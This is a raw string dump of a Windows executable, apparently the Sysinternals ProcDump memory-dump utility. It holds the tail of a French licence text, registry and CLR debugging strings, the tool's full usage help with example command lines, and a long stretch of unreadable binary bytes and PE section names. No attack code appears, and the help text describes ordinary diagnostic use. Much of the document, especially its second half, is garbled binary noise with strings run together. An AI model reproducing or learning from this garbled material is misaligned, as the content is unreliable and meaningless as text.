n'autorise pas l'exclusion ou la limitation de responsabilit pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l'exclusion ci - dessus ne s'appliquera pas votre gard. EFFET JURIDIQUE.Le prsent contrat dcrit certains droits juridiques.Vous pourriez avoir d'autres droits prvus par les lois de votre pays. Le prsent contrat ne modifie pas les droits que vous confrent les lois de votre pays si celles-ci ne le permettent pas. Sysinternals License%s License AgreementSoftware\Sysinternals\%sRiched32.dllLicense AgreementMS Shell DlgYou can also use the /accepteula command-line switch to accept the EULA.&Agree&Decline&PrintRICHEDITEulaAcceptedCommandLineToArgvWShell32.dll/accepteula-accepteulaSoftware\Microsoft\windows nt\currentversionProductNameiotuapSoftware\Microsoft\Windows NT\CurrentVersion\Server\ServerLevelsNanoServerAccept Eula (Y/N)?%c %lsThis is the first run of this program. You must accept EULA to continue. Use -accepteula to accept EULA. Software\Sysinternals%s\%s/nobanner-nobannerInternalNameFileVersionFileDescriptionLegalCopyrightCompanyName %s v%s - %s %s %s \StringFileInfo\%04X%04X\%s\VarFileInfo\TranslationAutoDebuggerProcDumpWow6432Node\Error deleting HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug\ProcDump\ Error deleting HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug\Auto Error deleting HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug\Debugger 1" -accepteula -mt -mm -ma -mp%x -mc -md " -mk -r%ld -at -wer -k -j " %ld %ld %p %ld %ld 0Error setting HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug\Auto Error setting HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug\Debugger Set to: HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug (REG_SZ) Auto = %s (REG_SZ) Debugger = %s ProcDump's backup key is missing. Defaulting to value deletion. HKLM\SOFTWARE\%sMicrosoft\Windows NT\CurrentVersion\AeDebug\ProcDump\ Reset to: (REG_SZ) Auto = <deleted> (REG_SZ) Debugger = <deleted> SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebugError opening HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug Error opening HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug ProcDump Memory CommitGetProcessMemoryInfopsapi.dllCommit: % 7dMb (Trigger)Commit: % 7dMb %lds %s AboveBelowCommit: % 7dMb %s _messageSystem.Exception}uLgI}D{h<4-{h<4-T ^&F োIn=ҷIzC @8 IUnknown::QueryInterface IUnknown::AddRef IUnknown::Release ICorDebugManagedCallback::Breakpoint ICorDebugManagedCallback::StepComplete ICorDebugManagedCallback::Break .BREAKPOINTBreak: %08X%s %08X%s ICorDebugManagedCallback::Exception ICorDebugManagedCallback::EvalComplete ICorDebugManagedCallback::EvalException ICorDebugManagedCallback::CreateProcess ICorDebugManagedCallback::ExitProcess ICorDebugManagedCallback::CreateThread ICorDebugManagedCallback::ExitThread ICorDebugManagedCallback::LoadModule ICorDebugManagedCallback::UnloadModule ICorDebugManagedCallback::LoadClass ICorDebugManagedCallback::UnloadClass ICorDebugManagedCallback::DebuggerError You forgot to call ICorDebugAppDomain::Attach() in ICorDebugManagedCallback::CreateAppDomain! ICorDebugManagedCallback::LogMessage Debug String: %s ICorDebugManagedCallback::LogSwitch ICorDebugManagedCallback::CreateAppDomain ICorDebugAppDomain::Attach ICorDebugManagedCallback::ExitAppDomain ICorDebugManagedCallback::LoadAssembly ICorDebugManagedCallback::UnloadAssembly ICorDebugManagedCallback::ControlCTrap ICorDebugManagedCallback::NameChange ICorDebugManagedCallback::UpdateModuleSymbols ICorDebugManagedCallback::EditAndContinueRemap ICorDebugManagedCallback::BreakpointSetError ICorDebugManagedCallback2::FunctionRemapOpportunity ICorDebugManagedCallback2::CreateConnection ICorDebugManagedCallback2::ChangeConnection ICorDebugManagedCallback2::DestroyConnection ICorDebugManagedCallback2::Exception(DEBUG_EXCEPTION_FIRST_CHANCE) Exception: %08X.%s ("%s") Exception: %08X.%s %08X.%s ("%s")%08X.%s ICorDebugManagedCallback2::Exception(DEBUG_EXCEPTION_USER_FIRST_CHANCE) ICorDebugManagedCallback2::Exception(DEBUG_EXCEPTION_CATCH_HANDLER_FOUND) ICorDebugManagedCallback2::Exception(DEBUG_EXCEPTION_UNHANDLED) ICorDebugManagedCallback2::ExceptionUnwind ICorDebugManagedCallback2::FunctionRemapComplete ICorDebugManagedCallback2::MDANotification CCorDebugManagedCallback2::Continue(ICorDebugAppDomain) Continue(ICorDebugAppDomain) Failed CCorDebugManagedCallback2::Continue(ICorDebugProcess) Continue(ICorDebugProcess) Failed CCorDebugManagedCallback2::Continue(ICorDebugThread) Continue(ICorDebugThread) Failed CCorDebugManagedCallback2::Continue(ICorDebugController) Continue(ICorDebugController) Failed CCorDebugManagedCallback2::Stop(ICorDebugThread) Stop(ICorDebugThread) Failed @Y@Y@Y@@O@O@O@P@@P@@T@T@T@b_o=8u[K5^%\vLF.2Fh@C@D@PD@D@D@0E@G@G@0H@pH@H@I@@I@I@I@J@@J@J@J@K@0L@L@L@0M@pM@M@N@N@O@B@`_o=8u[K5 ICorDebugUnmanagedCallback::DEBUG_EVENT ProcDump In-Band ICorDebugUnmanagedCallback::DEBUG_EVENT ICorDebugProcess->Continue(false) failed. @Y@Z@Z@P[@ cR/IUnknown exceptionbad array new lengthProcDump CPUNtQuerySystemInformationntdll.dllCPU: %d%% CPU: %d%% %lds %s CPU: %3d%% %s list too longImagehlpApiVersionSymFunctionTableAccess64AccessRoutinesStackWalkExEnumerateLoadedModulesExSymFindDebugInfoFileSymEnumSourceLinesSymEnumProcessesSymGetSourceFileSymEnumLinesEnumDirTreeMiniDumpWriteDumpException: 80000003.BREAKPOINT (Initial) Exception: 80000003.BREAKPOINT (1st after 2nd) Exception: 80000003.BREAKPOINT (2nd after 2nd) Exception: 80000003.BREAKPOINT (Repeat 1st) Exception: %08X%s ("%s") Exception: %08X%s %08X%s ("%s")Exception: 80000003.BREAKPOINT (2nd) Unhandled: %08X%s ("%s") Unhandled: %08X%s Thread Create: TID: %4lu Process Create: PID %4lu Thread Exit: TID %4lu, Exit Code 0x%08x Process Exit: PID %4lu, Exit Code 0x%08x mscorwks.dllclr.dllcoreclr.dllmscorwks.dllclr.dllcoreclr.dllDLL Load: Base Address 0x%p, "%s" DLL Unload: Base Address 0x%p, "%s" Debugger RIP Event .GUARD_PAGE.DATATYPE_MISALIGNMENT.SINGLE_STEP.ACCESS_VIOLATION.ARRAY_BOUNDS_EXCEEDED.FLOAT_DENORMAL_OPERAND.FLOAT_DIVIDE_BY_ZERO.FLOAT_INEXACT_RESULT.FLOAT_INVALID_OPERATION.FLOAT_OVERFLOW.FLOAT_STACK_CHECK.FLOAT_UNDERFLOW.INT_DIVIDE_BY_ZERO.INT_OVERFLOW.PRIV_INSTRUCTION.IN_PAGE_ERROR.ILLEGAL_INSTRUCTION.NONCONTINUABLE_EXCEPTION.STACK_OVERFLOW.INVALID_DISPOSITION.INVALID_HANDLE.CLR.COM.CON.mscߺ E|wb 2ӳ%AH2gH 8ProcDump DebuggerRtlGetLastNtStatus" /x-x-y "" --- Store Application --- Application: %s Applic. PID: %ld Package : %s Command : %s --- Store Package --- Enabled: %s Command: %s Error launching %s: systemWriting a dump for the System process is not supported. SeDebugPrivilegeError opening %s (%d): Error debugging process: The process is already being debugged. Disabled: %s CoInitializeEx - Error %x MSCorEE.dllCLRCreateInstanceGetVersionFromProcessCreateDebuggingInterfaceFromVersionSOFTWARE\Microsoft\.NETFrameworkDbgPackShimPathSOFTWARE\dotnet\Setup\InstalledVersions\x64\sharedhostVersionC:\Program Files\dotnet\shared\Microsoft.NETCore.App\\dbgshim.dlldbgshim.dllEnumerateCLRsCloseCLREnumerationCreateVersionStringFromModuleICLRRuntimeInfo->GetInterface - Error %x (CLR_E_SHIM_LEGACYRUNTIMEALREADYBOUND) ICLRRuntimeInfo->GetInterface - Error %x ICLRRuntimeInfo->GetVersionString - Error %x IUnknown->QueryInterface(ICLRRuntimeInfo) - Error %x IEnumUnknown->Next() - S_OK but IUnknown is NULL! IEnumUnknown->Next() - Error %x (S_FALSE); IUnknown %p IEnumUnknown->Next() - Error %x; IUnknown %p ICLRMetaHost->EnumerateLoadedRuntimes - Error %x CLRCreateInstance(CLSID_CLRMetaHost) - Error %x CreateDebuggingInterfaceFromVersion - Error %x GetVersionFromProcess - Error %x (E_INVALIDARG) - CLR Not Loaded GetVersionFromProcess - Error %x .Net 2.0 is not installed CreateDebuggingInterfaceFromVersionCoreCLR - Error %x (CORDBG_E_DEBUG_COMPONENT_MISSING) CreateDebuggingInterfaceFromVersionCoreCLR - Error %x (CORDBG_E_INCOMPATIBLE_PROTOCOL) CreateDebuggingInterfaceFromVersionCoreCLR - Error %x CoreCLR Version: v%s CLR Version: v%s ICorDebugController->Detach - Error %x (CORDBG_E_PROCESS_NOT_SYNCHRONIZED) ICorDebugController->Detach - Error %x ICorDebugController->Stop - Error %x ICorDebugProcess->QueryInterface(ICorDebugController) - Error %x ICorDebug->DebugActiveProcess - Error %x (CORDBG_E_INCOMPATIBLE_PROTOCOL) CLR Error: Incompatible Protocol ICorDebug->DebugActiveProcess - Error %x CLR Error ICorDebug->SetUnmanagedHandler - Error %x ICorDebug->SetManagedHandler - Error %x ICorDebug->Initialize - Error %x IsWow64Processkernel32.dllK32GetModuleFileNameExWkernelbase.dllGetModuleFileNameExW9/jHFh%SystemRoot%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll%SystemRoot%\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll %sError 0x%08X (%ld): %s %s%s%s%s (0x%08X, %ld) %s%s%sError 0x%08X (%ld) %s%sProcDump Hung WindowHung Window: Hung Window: %lds %s Hung Window: %s \mscorwks.dll\clr.dll\coreclr.dllProcDump Performance CounterCounter: % 8I64d Counter: % 8I64d %lds %s Counter: % 8I64d %s GetPackageFullNameGetPackagesByPackageFamily{B1AEC16F-2383-4852-B0E9-8F0B1DC66B4D}NtResumeProcess{45BA127D-10A8-46EA-8AB7-56EA9078943C}09|)J=AxA.VGމJ= Close Logoff Shutdown ^C ^Break Quitting has taken too long. Terminating ProcDump is now set as the Just-in-time (AeDebug) debugger. ProcDump is no longer the Just-in-time (AeDebug) debugger. Unable to load debug help. Unable to import the 'MiniDumpWriteDump' function from debug help. Unable to calculate the 'MiniDumpWriteDump' flags for this version of debug help. The specified DLL does not have an export function named MiniDumpCallbackRoutine. Error loading callback library: The process has exited. cancelcompleteWaiting for dump to %s... Dump count reached. Dump count not reached. string too longUnspecifiedTriageMiniMiniPlusCustomCallbackFullUnsupportedWaiting for process named %s... Multiple processes match the specified name. No process matching the specified name can be found. Try elevating the command prompt or using PsExec to make one as SYSTEM. psexec.exe -s -d -i cmd.exe procdump.exe -accepteula ... No process matching the specified PID can be found. \ProcDump_%02d%02d%02d_%02d%02d%02d.%03d.logMonitors a process and writes a dump file when the process exceeds the specified criteria or has an exception. Capture Usage: procdump.exe [-mm] [-ma] [-mt] [-mp] [-mc <Mask>] [-md <Callback_DLL>] [-mk] [-n <Count>] [-s <Seconds>] [-c|-cl <CPU_Usage> [-u]] [-m|-ml <Commit_Usage>] [-p|-pl <Counter> <Threshold>] [-h] [-e [1] [-g] [-b] [-ld] [-ud] [-ct] [-et]] [-l] [-t] [-f <Include_Filter>, ...] [-fx <Exclude_Filter>, ...] [-dc <Comment>] [-o] [-r [1..5] [-a]] [-at <Timeout>] [-wer] [-64] { {{[-w] <Process_Name> | <Service_Name> | <PID>} [<Dump_File> | <Dump_Folder>]} | {-x <Dump_Folder> <Image_File> [Argument, ...]} } Install Usage: procdump.exe -i [Dump_Folder] [-mm] [-ma] [-mt] [-mp] [-mc <Mask>] [-md <Callback_DLL>] [-mk] [-r] [-k] Uninstall Usage: procdump.exe -u Dump Types: -mm Write a 'Mini' dump file. (default) - Includes directly and indirectly referenced memory (stacks and what they reference). - Includes all metadata (Process, Thread, Module, Handle, Address Space, etc.). -ma Write a 'Full' dump file. - Includes all memory (Image, Mapped and Private). -mt Write a 'Triage' dump file. - Includes directly referenced memory (stacks). - Includes limited metadata (Process, Thread, Module and Handle). - Removal of sensitive information is attempted but not guaranteed. -mp Write a 'MiniPlus' dump file. - Includes all Private memory and all Read/Write Image or Mapped memory. - To minimize size, the largest Private memory area over 512MB is excluded. A memory area is defined as the sum of same-sized memory allocations. The dump is as detailed as a Full dump but 10%%-75%% the size. - Note: CLR processes are dumped as Full (-ma) due to debugging limitations. -mc Write a 'Custom' dump file. - Includes the memory and metadata defined by the specified MINIDUMP_TYPE mask (Hex). -md Write a 'Callback' dump file. - Includes the memory defined by the MiniDumpWriteDump callback routine named MiniDumpCallbackRoutine of the specified DLL. -mk Also write a 'Kernel' dump file. - Includes the kernel stacks of the threads in the process. - OS doesn't support a kernel dump (-mk) when using a clone (-r). - When using multiple dump sizes, a kernel dump is taken for each dump size. Conditions: -a Avoid outage. Requires -r. If the trigger will cause the target to suspend for a prolonged time due to an exceeded concurrent dump limit, the trigger will be skipped. -at Avoid outage at Timeout. Cancel the trigger's collection at N seconds. -b Treat debug breakpoints as exceptions (otherwise ignore them). -c CPU threshold above which to create a dump of the process. -cl CPU threshold below which to create a dump of the process. -dc Add the specified string to the generated Dump Comment. -e Write a dump when the process encounters an unhandled exception. Include the 1 to create dump on first chance exceptions. Add -ld to create a dump when a DLL (module) is loaded (filtering applies). Add -ud to create a dump when a DLL (module) is unloaded (filtering applies). Add -ct to create a dump when a thread is created. Add -et to create a dump when a thread exits. -f Filter (include) on the content of exceptions, debug logging and filename at DLL load/unload. Wildcards (*) are supported. -fx Filter (exclude) on the content of exceptions, debug logging and filename at DLL load/unload. -g Run as a native debugger in a managed process (no interop). -h Write dump if process has a hung window (does not respond to window messages for at least 5 seconds). -k Kill the process after cloning (-r), or at end of dump collection. -l Display the debug logging of the process. -m Memory commit threshold in MB at which to create a dump. -ml Trigger when memory commit drops below specified MB value. -n Number of dumps to write before exiting. -o Overwrite an existing dump file. -p Trigger when the Performance Counter is at, or exceeds, the specified Threshold. Some Counters and/or Instance Names can be case-sensitive. -pl Trigger when the Performance Counter falls below the specified Threshold. -r Dump using a clone. Concurrent limit is optional (default 1, max 5). OS doesn't support a kernel dump (-mk) when using a clone (-r). CAUTION: a high concurrency value may impact system performance. - Windows 7 : Uses Reflection. OS doesn't support -e. - Windows 8.0 : Uses Reflection. OS doesn't support -e. - Windows 8.1+: Uses PSS. All trigger types are supported. -s Consecutive seconds before dump is written (default is 10). -t Write a dump when the process terminates. -u Treat CPU usage relative to a single core (used with -c). -w Wait for the specified process to launch if it's not running. -wer Queue the (largest) dump to Windows Error Reporting. -x Launch the specified image with optional arguments. If it is a Store Application or Package, ProcDump will start on the next activation (only). -64 By default ProcDump will capture a 32-bit dump of a 32-bit process when running on 64-bit Windows. This option overrides to create a 64-bit dump. Only use for WOW64 subsystem debugging. Install/Uninstall: -i Install ProcDump as the AeDebug postmortem debugger. Only -mm, -ma, -mt, -mp, -mc, -md and -r are supported as additional options. Uninstall (-u only) restores the previous configuration. -u As the only option, Uninstalls ProcDump as the AeDebug postmortem debugger. License Agreement: Use the -accepteula command line option to automatically accept the Sysinternals license agreement. Automated Termination: -cancel <Target Process PID> Using this option or setting an event with the name "ProcDump-<PID>" is the same as typing Ctrl+C to gracefully terminate ProcDump. Graceful termination ensures the process is resumed if a capture is active. The cancellation applies to ALL ProcDump instances monitoring the process. Filename: Default dump filename: PROCESSNAME_YYMMDD_HHMMSS.dmp The following substitutions are supported: PROCESSNAME Process Name PID Process ID EXCEPTIONCODE Exception Code YYMMDD Year/Month/Day HHMMSS Hour/Minute/Second Examples: Use -? -e to see example command lines. ------------------------------------------------------------------------------- - Write a Mini dump of a process named 'notepad' (only one match can exist): C:\>procdump notepad - Write a Full dump of a process with PID '4572': C:\>procdump -ma 4572 - Write a Mini first, and then a Full dump of a process with PID '4572': C:\>procdump -mm -ma 4572 - Write 3 Mini dumps 5 seconds apart of a process named 'notepad': C:\>procdump -n 3 -s 5 notepad - Write up to 3 Mini dumps of a process named 'consume' when it exceeds 20%% CPU usage for five seconds: C:\>procdump -n 3 -s 5 -c 20 consume - Write a Mini dump for a process named 'hang.exe' when one of its windows is unresponsive for more than 5 seconds: C:\>procdump -h hang.exe - Write a Full and Kernel dump for a process named 'hang.exe' when one of its C:\>procdump -ma -mk -h hang.exe - Write a Mini dump of a process named 'outlook' when total system CPU usage exceeds 20%% for 10 seconds: C:\>procdump outlook -s 10 -p "\Processor(_Total)\%% Processor Time" 20 - Write a Full dump of a process named 'outlook' when Outlook's handle count exceeds 10,000: C:\>procdump -ma outlook -p "\Process(Outlook)\Handle Count" 10000 - Write a Full dump of 'svchost' PID 1234, Instance #87, when the handle count C:\>procdump -ma 1234 -p "\Process(svchost#87)\Handle Count" 10000 Note: Multiple Instance Counters If there are multiple instances of the counter, you'll need to include the Name and/or Instance number. \Processor(NNN)\%% Processor Time \Thermal Zone Information(<name>)\Temperature \Process(<name>[#NNN])\<counter> Older OSes require you to append the PID for \Process counters. \Process(<name>[_PID])\<counter> Tip: Use Performance Monitor to view the counters (esp. case sensitivity). Tip: For \Process(*) based counters, use PowerShell to map a PID to its #NNN. Get-Counter -Counter "\Process(*)\ID Process" - Writes a Full dump for a 2nd chance exception: C:\>procdump -ma -e w3wp.exe - Writes a Full dump for a 1st or 2nd chance exception: C:\>procdump -ma -e 1 w3wp.exe - Writes a Full dump for a debug string message: C:\>procdump -ma -l w3wp.exe - Write up to 10 Full dumps of each 1st or 2nd chance exception of w3wp.exe: C:\>procdump -ma -n 10 -e 1 w3wp.exe - Write up to 10 Full dumps if an exception's code/name/msg contains 'NotFound': C:\>procdump -ma -n 10 -e 1 -f NotFound w3wp.exe - Write up to 10 a Full dump if a debug string message contains 'NotFound': C:\>procdump -ma -n 10 -l -f NotFound w3wp.exe - Wait for a process called 'notepad' (and monitor it for exceptions): C:\>procdump -e -w notepad - Launch a process called 'notepad' (and monitor it for exceptions): C:\>procdump -e -x c:\dumps notepad - Register for launch, and attempt to activate, a store 'application'. A new ProcDump instance will start when it is activated: C:\>procdump -e -x c:\dumps Microsoft.BingMaps_8wekyb3d8bbwe!AppexMaps - Register for launch of a store 'package'. A new ProcDump instance will start when it is (manually) activated: C:\>procdump -e -x c:\dumps Microsoft.BingMaps_1.2.0.136_x64__8wekyb3d8bbwe - Windows 7/8.0; Use Reflection to reduce outage for 5 consecutive triggers: C:\>procdump -r -ma -n 5 -s 15 wmplayer.exe - Windows 8.1+; Use PSS to reduce outage for 5 concurrent triggers: C:\>procdump -r 5 -ma -n 5 -s 15 wmplayer.exe - Install ProcDump as the (AeDebug) postmortem debugger: C:\>procdump -ma -i c:\dumps ..or.. C:\Dumps>procdump -ma -i - Uninstall ProcDump as the (AeDebug) postmortem debugger: C:\>procdump -u <n/a>Process: %s (%d) Monitoring PID: %d Process image: %s <>=CPU threshold: %s %d%% of single core CPU threshold: %s %d%% of system CPU threshold: n/a n/aPerformance counter: %s Performance threshold: %s %I64d Commit threshold: %s %d MB Commit threshold: n/a Threshold seconds: %d Threshold seconds: n/a EnabledDisabledHung window check: %s Log debug strings: %s Module Load: %s Module Unload: %s Thread Create: %s Thread Exit: %s +BreakpointsFirst Chance+UnhandledUnhandledException monitor: %s%s Exception filter: Disabled Exception filter: [Includes] %s [Excludes] Terminate monitor: %s PSSReflectionCloning type: %s Concurrent limit: %ld Avoid outage: %s Concurrent limit: n/a Avoid outage: n/a Number of dumps: %d Dump folder: %s\ Dump filename/mask: %s Queue to WER: %s Kill after dump: %s Press Ctrl-C to end monitoring without terminating the process. The directory does not exist: %s .dmp/?-?/e-e/a-a/at-at/b-b/c-c/cl-cl/cancel-cancel Unable to open cancel event named: %s /dc-dc/f-f*/fx-fx/g-g/h-h/i-i/mt-mt/mm-mm/ma-ma/mp-mp/mc-mc/md-mk/mk/r-r/k-k/wer-werWhen enabling AeDebug Just-in-Time support (-i), only the Triage (-mt), Mini (-mm), Full (-ma), MiniPlus (-mp), Custom (-mc), Callback (-md), Kernel (-mk), Cloning via PSS (-r), Kill after Dump (-k), Avoid Timeout (-at) and WER (-wer) arguments can be used. /j-j/jx-jx/l-l/log-log/m-m/ml-ml-md/n-n/o-o/p-p/pl-pl\%[^(](%[^)])\%[^ ]\%[^\]\%[^ ]Invalid performance format: Error opening performance counter database: Error opening performance counter "%s": Error querying performance counter "%s": PROCDUMP_CONCURRENT_MAX_LIMIT%ldPssCaptureSnapshotRtlCreateProcessReflectionProcess cloning requires Windows 7 or higher. /s-s/t-t/tgp-tgp/u-u/w-w"%s" "/y-y-tid/64-64/ld-ld/ud-ud/ct-ct/et-et%dThe wait option requires the process be specified by name. Seconds (-s) are only supported for timer (-n), CPU usage (-c), memory commit (-m), performance counter (-p) and hung window (-h). Single core scale (-u) requires CPU usage (-c). Breakpoints (-b) require exception monitoring (-e). Filtering (-f/-fx) requires exception monitoring (-e) and/or debug logging (-l). Running as just a native debugger (-g) requires exception monitoring (-e) and/or debug logging (-l). Process cloning via reflection (-r) can't be used with process termination (-t) due to OS limitations. Process cloning via reflection (-r) can't be used with process exceptions (-e) due to OS limitations. Process cloning via reflection (-r) can't be used with debug logging (-l) due to OS limitations. Process cloning via PSS (-r) can't be used with kernel dumping (-mk) due to OS limitations. Avoid outage (-a) requires process cloning (-r). Just-in-Time can only be used with the Mini, MiniPlus (-mp), Full (-ma) and Custom MiniDumpCallbackRoutine (-d) arguments. Kill after dump is only valid with AeDebug Just-in-Time support (-i). When disabling AeDebug Just-in-Time support (-u), no other arguments can be used. PROCESSNAME_YYMMDD_HHMMSS-_.Kernel.dmp.DbgCfg.dmp.DbgCfg.iniwPssFreeSnapshotMiniDumpCallbackRoutine\dbghelp.dllC:\Debuggers\dbghelp.dllC:\Debuggers_x64\dbghelp.dllSOFTWARE\Microsoft\Windows Kits\Installed RootsWindowsDebuggersRoot10x64\dbghelp.dllWindowsDebuggersRoot81%ProgramFiles(x86)%\Windows Kits\10\Debuggers\x64\dbghelp.dll%ProgramFiles(x86)%\Windows Kits\8.1\Debuggers\x64\dbghelp.dll%ProgramFiles(x86)%\Windows Kits\8.0\Debuggers\x64\dbghelp.dll%ProgramFiles%\Debugging Tools for Windows (x64)\dbghelp.dllSOFTWARE\Microsoft\DebuggingToolsWindbgdbghelp.dllimagehlp.dll*** Manual dumpManual*** Timed dump (%ld seconds)Timeds*** Process didn't utilized %d%% CPU (uniprocessor scale) for %ld second%s. Value: %d%%. Hottest Thread: %d (0x%x).*** Process didn't utilized %d%% CPU (system scale) for %ld second%s. Value: %d%%. Hottest Thread: %d (0x%x).*** Process exceeded %d%% CPU (uniprocessor scale) for %ld second%s. Value: %d%%. Hottest Thread: %d (0x%x).*** Process exceeded %d%% CPU (system scale) for %ld second%s. Value: %d%%. Hottest Thread: %d (0x%x).CPU*** Process didn't utilized %d MB commit usage for %ld second%s: %d MB*** Process exceeded %d MB commit usage for %ld second%s: %d MBCommit*** Counter "%s" didn't utilized %I64d for %ld second%s. Value: %I64d*** Counter "%s" exceeded %I64d for %ld second%s. Value: %I64dCounter*** Hung window detected: %xHung Window*** First chance exception: %08X%s*** Unhandled exception: %08X%sException*** Debug Output String: %sDebug String*** Module Load (TID: 0x%x, Base: 0x%p, "%s") *** Module Load (TID: 0x%x, Base: 0x%p) Module Load*** Module Unload (TID: 0x%x, Base: 0x%p, "%s") *** Module Unload (TID: 0x%x, Base: 0x%p) Module Unload*** Thread Create (New TID: 0x%x) Thread Create*** Thread Exit (TID: 0x%x, Exit Code: 0x%x) Thread Exit*** Process terminationTermination*** Just-In-Time debugger. PID: %ld Event Handle: %ld JIT Context: .jdinfo 0x%I64x*** Just-In-Time debugger. PID: %ld Event Handle: %ld JIT Context: .exr -1; .ecxrAeDebug%08XyyMMddHHmmssPROCESSNAMEPIDEXCEPTIONCODEYYMMDDHHMMSS.\\Error creating dump file: Dump %ld %s: %s %s: Queuing to WER... Error: 0x%08X; Failed to initialize WER Report Failed to initialize WER ReportTrigger%08xExceptionCodeSessionIDError: 0x%08X; Failed to add file to WER Report: %s Failed to add file to WER Report: %sWER: %s Error: 0x%08X; Failed to submit WER Report Failed to submit WER ReportProcDump Dump EngineAlready at dump count. skippingTrigger no longer timely. Waited %0.1f seconds for another dump to complete. Process terminated before capture. missedAlready at concurrent limit: %ld avoided *** via Process Reflection *** via Process Snapshot *** %s%s%s%s%s%s initiated{07fc2b94-5285-417e-8ac3-c2ce5240b0fa}%ld MB written in %0.1f seconds kernelFailed: Elevation Required Failed: %08X MiniPlus dumps are limited to 4GB by the API. Changing to FullMinus mode to support dumping more than 4GB. Error writing dump file: 0x%08X errorEstimated dump file size is %ld MB. writingException in MiniDumpWriteDump Callback: %d rjC@hUXa+[%02d:%02d:%02d] \\.\Global\ProcmonDebugLoggerKernel32.dllGetThreadDescriptionSetThreadDescriptionProcDump TimedTimed: Timed: %lds %s wer.dllWerReportCreateWerReportSetParameterWerReportAddFileWerReportSubmitWerReportCloseHandleApplicationName0.0.0.0%d.%d.%d.%dApplicationVersionQueuedUploadedDebugFailedCancelledDisabledQueueAsyncCustomAction@^@@@@ @@@4@@@ @(@0@(Nc<(Nc Է(Nc (Nc@@2@@0*P(h*@P*н*@н+X0p+@X*о*@оp( ؿ+@P+@,B(,@(,B@+Ph,@H+P(,@((x,@,X,@`0+@0+@+@X+XhX+@pX+@@,,@L@Xggggull+nr@rttuyUy&eal  s  Z  9ml !"""c,66Y<<=f>>>>=??<@e@BjEENN0OKOeY" %%&'''(V((,,,,??-@H@5AhAsALL MMMrMQZ5[_aDa`spsssssszuuuuvv.v>vavuv%!br (GLQZÑ֑(05y~';~/R\cgs} |ef &2(2 8RSDS u F:ZD:\a\1\s\x64\Release\ProcDump64.pdbGCTL.text$di@.text$mn@.text$mn$00.text$xl.text$yd.idata$58.00cfg8.CRT$XCA@.CRT$XCAAH.CRT$XCU`.CRT$XCZh.CRT$XIAp.CRT$XIAAx.CRT$XIAC(.CRT$XIC.CRT$XIZ.CRT$XLA.CRT$XLZ.CRT$XPA.CRT$XPX.CRT$XPXA.CRT$XPZ.CRT$XTA.CRT$XTZ.rdata(.rdata$T( .rdata$r4d.rdata$voltmd.rdata$zzzdbg.rtc$IAA.rtc$IZZ.rtc$TAA.rtc$TZZ.tls.tls$.tls$ZZZ0.xdata.xdata$xt.idata$2<.idata$3P.idata$4P .idata$6  .data*.data$r+h.data$rs,|-.bss`1.pdata\_RDATA.rsrc$01.rsrc$02 H0P0Rp`0+P@20Rp`0bp ` P 0%PP!4)4!* *""#$t+d*H!$t+H!4  4 2ptd42 dP LpPP!4O! O`PP!8 8L0M(N tUTT4R!4 2 `! P!  t T`!`!P  B`!  4  !  t T #! #!  L0PPR0Bd42 prp!4 @""@!@""@KP@2`!t4##|!t4##|!##|B`! %%!t T 4%7%!%7%!%%$OP`!! !NtSdR TQ4PP&t&$!P&t&$ J0P@  4 Rp6 %4I%> p`PP6 %4%  p`PPPd4  p  R0 0P!T66!..t&d67!67! tdT66!66%p`PPp!4P99t!P99t p`P`!T4`;;!`;;  P!  4= =!d ==!t =)>!=)>! ==!= =2p!4?1?l!?1?l!4??(!4??(!  d4P@s@@!P@s@@  p`!4`AA!`AA pPP!40EE!dEE0!EE0!0EEdT2 p!4J\K|!J\K|d42 p pP !4@PP!dPVQ!TVQR!VQR!PVQ!@PP  4 2p  4 2p  4 2p!dWW`!WW` tdT 4   4 2p(̆BF!  t4];]|!];]|  0! T_`!""t  d`y`!`y`! t dT_`!_`#  p`P08r(2g B!4(!(6 %4% p`PP &`0PPP!tpxx!pxx!tpxx%4 pP0 !d }~l!}~l!d }~l.&`0PP !.t-~R!/R(!/R(!R(!~R8 't'd'4'PPPP!  t 4a`!a`  T 2`!t4@Ж!@ЖRp!d 4! t dT42  T 2 p`!  4И!И!4(!(4  4 2 `P! @|!tЛ!Л! t@|!@|% 4 p`PP`**d T0!t !  4  pP 0!d `!""t T  =h! =h! t dT `!4Pl!4Plbp`!T 4 B!B !B !BdT pPP!X!4Sp!Sp!X`PPH!t 4@n!@nCCt:4 `PHP0PP!t ; !d;_ !;_ !;   R0!t `h!`h42 p( .3.F\zH  d 2p!4йݹ!йݹd T 4Rp$d4 pPp"4\V p`P!T[(!(!T[( 4Q NpP`..t 4 R` 0Pp!td!!4l!l 4jb p ` P!dT4$l!dT$l!$ld T42p0 p0PP!dPt!Pt!dPt!t!!4l!ldT42p t d T 42d 4R p`(ip @vr( 4 p`P8z( =Q  4 rp  Bp0! d T >! d T >!>!d T >d42 pT`Y4!4@O(!@O(+tO4NL PPPdT 4 pd T 4 rp d T 4 Rp! ;!;d 4R p p`P0P`4 #tc#db#4a#\P8P(Y` `))t20  4 R`!t 22x!T22!22!t T22x!22x*  `P@!t 4  4z4! 4z4+  ` 0P@!t 5n5 !5n5 $d'4&" p8x ( ^`he !  dT89T!89T `! t T4=3=!  tT4=3=! ==!==!=3= dT4p dT4p  0!! !t dTB Bl!B Bl`Ph!t DRD!4RDD!RDD! DRD!4EE(!EE( 4r p ` P t d 4R5J^J^J+ P 0Pp!dLLp!tLM!M7M!M7M!LM!LLp!d @PkP !t T kPP!kPP!@PkP !4QR!QR  r0! t dT ST`! tdT ST`  p ` 0 P!X\X!X\X !T 4 [[!t d[[![[![[b p!  dT P\\L!4 \\X!\\X!P\\Lr ` P 0!tp]]!]]!]]!tp]]!p]]20`!>!4_(_(!4_(_(!_(_(!`P0P!tP``\!P``\B  b  4 rprp`0Bx  2Pip "m n nP d 4R 